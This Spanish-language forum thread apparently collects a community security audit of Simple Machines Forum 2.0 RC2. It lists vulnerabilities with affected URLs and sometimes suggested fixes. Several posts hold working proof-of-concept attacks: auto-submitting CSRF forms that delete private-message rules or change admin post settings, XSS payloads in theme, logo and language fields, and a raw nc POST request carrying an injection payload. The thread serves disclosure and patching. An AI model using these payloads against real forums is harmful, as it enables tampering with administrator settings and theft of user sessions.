Autor
|
Tema: Auditoría de seguridad hacia Simple Machines Forum 2.0 (Leído 18,948 veces)
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles| Descripción: | CSRF en las encuestas | | Descubierto por: | sirdarckcat@elhacker.net | | Código vulnerable: | N/A | | URL Vulnerable: | index.php?action=vote;topic=3.0;poll=1 | | PoC: | N/A | | Afecta a: | SMF 1.1.10 y 2.0 RC2 |
DescripciónSe puede desactivar el voto de un usuario si la encuesta permite cambiar de voto. Suponiendo que es la encuesta 1 del topic 3, entonces una peticion a: index.php?action=vote;topic=3.0;poll=1 Borraria el voto.
|
|
|
|
« Última modificación: 2 Diciembre 2009, 03:49 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles DescripciónLa vulnerabilidad está en el archivo install.php. Es provocada por la mala filtración de carácteres especiales al producirse algún error en algún paso de la instalación lo que puede provocar ejecución de código html y javascript en el navegador. Ejemplos en el código están en las funciones template_database_settings() y template_chmod_files(). Adjunto un archivo installer modificado por mí que es supuestamente seguro contra la vulnerabilidad encontrada. Otra vulnerabilidad XSS que he encontrado es en el step de forum settings es cuando te pregunta la ruta del foro, si pones http://localhost/"><h1>Hola</h1> Por cada enlace que ponga en el foro te saldra el <h1>Hola</h1>
|
|
|
|
« Última modificación: 2 Diciembre 2009, 03:49 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles| Descripción: | XSS en el instalador | | Descubierto por: | cicatriz.r00t@gmail.com | | Código vulnerable: | $incontext['error'] = sprintf($txt['error_valid_email_needed'], $_POST['username']); $_POST['username'] = preg_replace('~[\t\n\r\x0B\0\xA0]+~', ' ', $_POST['username']);
| | URL Vulnerable: | install.php | | PoC: | N/A | | Afecta a: | SMF 2.0 RC2 |
DescripciónEl archivos install.php sufre una vulnerabilidad de Cross-Site Scripting al no validar las variables POST. Ejemplos: Linea 1317: $incontext['error'] = sprintf($txt['error_valid_email_needed'], $_POST['username']); Linea 1325: $_POST['username'] = preg_replace('~[\t\n\r\x0B\0\xA0]+~', ' ', $_POST['username']);Entonces, al ir al paso 2 (/install.php?step=2) por ejemplo se puede explotar en el input "db_server", asi tambien en inputs siguientes.
|
|
|
|
« Última modificación: 2 Diciembre 2009, 03:50 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles| Descripción: | XSS en el administrador de reglas | | Descubierto por: | cicatriz.r00t@gmail.com | | Código vulnerable: | N/A | | URL Vulnerable: | index.php?action=pm;sa=manrules | | PoC: | N/A | | Afecta a: | SMF 2.0 RC2 |
DescripciónEl administrador de reglas de mensajes sufre de tres ataques de Cross-Site Request Forgery (index.php?action=pm;sa=manrules). Primero: <form method="POST" action="/index.php?action=pm;sa=manrules;save;rid=0"> <input type="text" name="rule_name" value="csrf"> <input type="text" name="ruletype[0]" value="mid"> <input type="text" name="ruledef[0]" value="admin"> <input type="text" name="ruledefgroup[0]" value=""> <input type="text" name="rule_logic" value="and"> <input type="text" name="acttype[0]" value="del"> <input type="text" name="labdef[0]" value=""> <input type="text" name="save" value="Save Rule"> </form> <script>document.getElementsByTagName("form")[0].submit();</script> Este ataque crearía una regla que borre todos los mensajes provenientes del user admin. Segundo: <form method="POST" action="/index.php?action=pm;sa=manrules"> <input type="text" name="delrule[4]" value="on"> <input type="text" name="delselected" value="Delete Selected Rules"> </form> Este ataque borraría la regla 4. Tercero: <img src="/index.php?action=pm;sa=manrules;apply"> Aplicaría las reglas en el momento.
|
|
|
|
« Última modificación: 2 Diciembre 2009, 03:50 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles| Descripción: | XSS en el administrador de smileys | | Descubierto por: | cicatriz.r00t@gmail.com | | Código vulnerable: | N/A | | URL Vulnerable: | /index.php?action=admin;area=smileys;sa=modifyset;set=1 | | PoC: | Cambiar nombre del paquete a: Nombre"/onclick="alert(0) | | Afecta a: | SMF 2.0 RC2 |
DescripciónEste ataque Cross-Site Scripting se puede producir, pero lo tilde como "posible" por el echo de no tener el fácil acceso a la edición del nombre de un paquete de smileys. Una de las principales barreras es el token que no permite la ejecución de CSRF. Para reproducir el XSS se tiene que dirigir a "/index.php?action=admin;area=smileys;sa=modifyset;set=1" y editar el nombre del paquetey poner algo como: Nombre"/onclick="alert(0). Y al volver a "/index.php?action=admin;area=smileys;sa=modifyset;set=1" el XSS se ejecutaría pero el nombre quedaría con el valor que hayamos especificado sin que se ejecute en los sets de smileys (/index.php?action=admin;area=smileys;sa=editsets;). Así que lo catalogo como un problema y lo dejo al criterio de ustedes 
|
|
|
|
« Última modificación: 2 Diciembre 2009, 03:50 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles| Descripción: | Desinstalación arbitraria de mods | | Descubierto por: | WHK@elhacker.net | | Código vulnerable: | Sources/Packages.php:1167 | | URL Vulnerable: | index.php?action=admin;area=packages;sa=flush | | PoC: | N/A | | Afecta a: | SMF 2.0 RC2 |
DescripciónVoy a comenzar explicando la prueba de concepto directamente: http://localhost/smf2.0/index.php?action=admin;area=packages;sa=flushPrimero que nada decir que esta acción no requiere de ningún token por lo tanto puede ser ejecutado de forma arbitraria y consiste en que te elimina todo el listado de paquetes instalados en el archivo que contiene todas tus instalaciones "installed.list". Si por ejemplo tienes instalado 4 mods los cuales modificaron tu foro ya no podrás desintalarlos porque no figurarán instalados y los cambios en el foro permanecerán modificados, eso quiere decir que si intentas reinstalar el mismo mod no podrás porque los cambios ya están hechos y por lo tanto tampoco puedes desintalarlos ni eleiminarlos. Esto puede afectar por completo el funcionamiento de tu foro al intentar realizar una actualización o cambio en un paquete nuevo ya que las busquedas de reemplazo de strings en los archivos del foro ya no serán los mismos. La única solución sería restaurar un respaldo creado con anterioridad o volver a instalar tu foro nuevamente con cada mod. El fallo se produce en el archivo Sources/Packages.php linea 1167 en la función "FlushInstal" ya que desde que es llamada la función hasta que finaliza en ningúna parte se solicita un token de verificación para evitar una ejecución arbitraria de esta acción. http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Packages.php#1167
|
|
|
|
« Última modificación: 2 Diciembre 2009, 03:51 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles| Descripción: | XSS en el buscador de usuarios | | Descubierto por: | WHK@elhacker.net | | Código vulnerable: | code: Sources/Subs-Auth.php:551 | | URL Vulnerable: | URL: index.php?action=findmember;[TOKEN] | | PoC: | POST: search=dd&input=pm_ignore_list&delim=%27%22%3c%3e%5b%58%53%53%20%61%63%e1%5d"e=0 | | Afecta a: | SMF 2.0 RC2 |
DescripciónEl problema está en el archivo Sources/Subs-Auth.php linea 551 http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Subs-Auth.php#551ya que cuando se supone que debe filtrar en htmlspecialchars realmente no lo hace: // Take the delimiter over GET in case it's \n or something. $context['delimiter'] = isset($_REQUEST['delim']) ? ($_REQUEST['delim'] == 'LB' ? '\\n' : $smcFunc['htmlspecialchars']($_REQUEST['delim'])) : ', '; $context['quote_results'] = !empty($_REQUEST['quote']); Pero, porque no funciona en modo GET y si funciona en modo POST? eso es porque smf pasa $_POST por $_REQUEST autobypaseando filtros como este. Tal como me lo comentaba sirdarckcat, al principio es necesario ingresar el token del usuario afectado pero eso puede ser bypaseado enviandolo sin su sesión logueada, entonces cuando loguee se le redireccionará hcia su busqueda infectada con el xss. Prueba de concepto: nc -v 127.0.0.1 80 POST /smf_2/index.php?action=findmember;[TOKEN] HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5)Gecko/20091102 Firefox/3.5.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: close Cookie: PHPSESSID=[cookie] Content-Type: application/x-www-form-urlencoded Content-Length: 85 search=dd&input=pm_ignore_list&delim=%27%22%3c%3e%5b%58%53%53%20%61%63%e1%5d"e=0 Retornará un código inyectado dentro del tag "<script />"
|
|
|
|
« Última modificación: 2 Diciembre 2009, 03:51 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles| Descripción: | CSRF+XSS en el administrador de lenguajes | | Descubierto por: | cicatriz.r00t@gmail.com | | Código vulnerable: | N/A | | URL Vulnerable: | /index.php?action=admin;area=languages;sa=editlang;lid=english; | | PoC: | N/A | | Afecta a: | SMF 2.0 RC2 |
DescripciónEn este ataque se utiliza Cross-Site Request Forgery para realizar un ataque Cross-Site Scripting. Proof-of-Concept: <body onload="document.forms[0].elements[5].click()"> <form action="/index.php?action=admin;area=languages;sa=editlang;lid=english;" method="post" accept-charset="UTF-8"> <input name="character_set" size="20" value="ISO-8859-1" type="text"> <input name="locale" size="20" value="en_US" type="text"> <input name="dictionary" size="20" value="en" type="text"> <input name="spelling" size="20" value="american&#34;&#62;&#60;&#104;&#49;&#62;&#88;&#83;&#83;&#60;&#47;&#104;&#49;&#62;" type="text"> <input name="rtl" class="check" type="checkbox"> <input type="submit" value="Save" name="save_main"/> </form> </body> Otra cosa a resaltar es el echo de poder cambiar el tipo de character set. Cosa que nos daría la libertad de elegir un encoding vulnerable como UTF-7. El problema se ubica aquí: +++/var/www/POC/smf_2-0-rc1-2_install/Sources/ManageServer.php @@ 1195:1201 1195 $replace_array = array( 1196 '~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\'"]+(\'|");~' => '$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) . '\';', 1197 '~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\'"]+(\'|");~' => '$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';', 1198 '~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\'"]+(\'|");~' => '$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';', 1199 '~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\'"]+(\'|");~' => '$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';', 1200 '~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' => '$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';', 1201 ); ---/var/www/POC/smf_2-0-rc1-2_install/Sources/ManageServer.php http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageServer.php#1195Lo único que salva al foro de no sufrir la ejecución de PHP es la función addslashes(), porque todos estos datos son escritos a un archivo.
|
|
|
|
« Última modificación: 2 Diciembre 2009, 03:52 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles| Descripción: | XSS en el nombre del foro | | Descubierto por: | ysk.sft@gmail.com | | Código vulnerable: | N/A | | URL Vulnerable: | N/A | | PoC: | N/A | | Afecta a: | SMF 2.0 RC2 |
DescripciónEl sistema para agregar subforos no filtra caracteres al agregar subforos, haciendo que se pueda agregar codigo javascript entre otros no solo en el index si no que tambien en diversos lugares del panel de administración entre ellos el mismo panel de administración de subforos , haciendo que mediante codigo javascript se podria hacer que en el navegador no se pudiera ver el panel de administración de subforos haciendo casi imposible para una persona de conocimientos basicos modificar el subforo para eliminar el deface que se podria hacer con el XSS . Saludos 
|
|
|
|
« Última modificación: 2 Diciembre 2009, 03:52 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles| Descripción: | XSS en la URL del logo | | Descubierto por: | cicatriz.r00t@gmail.com | | Código vulnerable: | N/A | | URL Vulnerable: | /index.php?action=admin;area=theme;sa=settings;th=1; | | PoC: | options[header_logo_url]=."/onerror=alert(0);// | | Afecta a: | SMF 2.0 RC2 |
DescripciónBueno, esto en realidad no me pareció muy relevante pero quizás sirva de todos modos. Si vamos a la pagina de administracion donde se cambia la configuracion del theme que se esta usando (/index.php?action=admin;area=theme;sa=settings;th=1;) y al modificar el input "options[header_logo_url]", si ponemos algo como esto: ."/onerror=alert(0);// El código JS se ejecutaría en cualquier parte del foro.
|
|
|
|
« Última modificación: 2 Diciembre 2009, 03:52 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles| Descripción: | CSRF en la configuración de post | | Descubierto por: | brlvldvlsmrtnz@gmail.com | | Código vulnerable: | N/A | | URL Vulnerable: | index.php?action=admin;area=postsettings;save;sa=posts | | PoC: | <form name=exploit method=POST action=http://localhost/index.php?action=admin;area=postsettings;save;sa=posts <input type=hidden name=enableEmbeddedFlash value=1> </form> | | Afecta a: | SMF 2.0 RC2 |
DescripciónThe vulnerabilitie is found in the function ModifyPostSettings in the file ManagePosts.php , this function allows to you to change the post settings and it does not verify the token of the session so ... It is CSRF. The POC: <html> <head> <title></title> </head> <body> <form name=exploit method=POST action=http://localhost/index.php?action=admin;area=postsettings;save;sa=posts> <input type=hidden name=enableEmbeddedFlash value=1> </form> <script> document.exploit.submit(); </script> </body> </html>
|
|
|
|
« Última modificación: 2 Diciembre 2009, 03:53 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles| Descripción: | XSS en el buscador de lenguajes | | Descubierto por: | brlvldvlsmrtnz@gmail.com | | Código vulnerable: | ManageServer.php:408 | | URL Vulnerable: | index.php?action=admin;area=languages;sa=add;[token] | | PoC: | <xss> | | Afecta a: | SMF 2.0 RC2 |
DescripciónLa vulnerabilidad está en el buscador de lenguajes en la variable smf_add que va dentro de un textbox. Hay que escribir ">(codigo)http://localhost/SMF/index.php?action=admin;area=languages;sa=add;[token]
|
|
|
|
« Última modificación: 2 Diciembre 2009, 03:53 por WHK »
|
En línea
|
|
|
|
|
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles| Descripción: | XSS en "theme url and settings" | | Descubierto por: | brlvldvlsmrtnz@gmail.com | | Código vulnerable: | N/A | | URL Vulnerable: | index.php?action=admin;area=theme;sa=settings;th=2;[token] | | PoC: | http://urlreal"><script>alert(1);</script> | | Afecta a: | SMF 2.0 RC2 |
DescripciónLa vulnerabilidad se explota desde donde se configura el tema actual y es vulnerable además del logo (que ya pusieron antes) en la url del tema y de las imágenes. Poniendo en las urls: ht tp://urlreal"><script>alert("Robamos tus cookies gracias...");</script> se consigue ejecutar ese código javascript cada vez que se muestre una imagen o se llame a una hoja de estilo. SoluciónEsto se arregla en las líneas 819,820,821 poniendo esto : foreach ($_POST['options'] as $opt => $val) $inserts[] = array(0, $_GET['th'], htmlspecialchars($opt), is_array($val) ? implode(',', htmlspecialchars($val)) : $val); En el archivo themes.php en la url : http://localhost/SMF/index.php?action=admin;area=theme;sa=settings;th=2;[token]
|
|
|
|
« Última modificación: 3 Diciembre 2009, 19:20 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador Global
 
Desconectado
Mensajes: 3.936
The Hacktivism is not a crime
|
Detalles| Descripción: | XSS en "theme url and settings" | | Descubierto por: | brlvldvlsmrtnz@gmail.com | | Código vulnerable: | N/A | | URL Vulnerable: | index.php?action=admin;area=theme;sa=settings;th=2;[token] | | PoC: | http://urlreal"><script>alert(1);</script> | | Afecta a: | SMF 2.0 RC2 |
Descripciónhttp://localhost/SMF/index.php?action=admin;area=theme;sa=edit;tokePara arreglarlo hay que cambiar la línea 1711 del archivo themes.php por esta : $context['themes'][$row['id_theme']][$row['variable']] = htmlspecialchars($row['value']);
|
|
|
|
« Última modificación: 2 Diciembre 2009, 03:54 por WHK »
|
En línea
|
|
|
|
|
|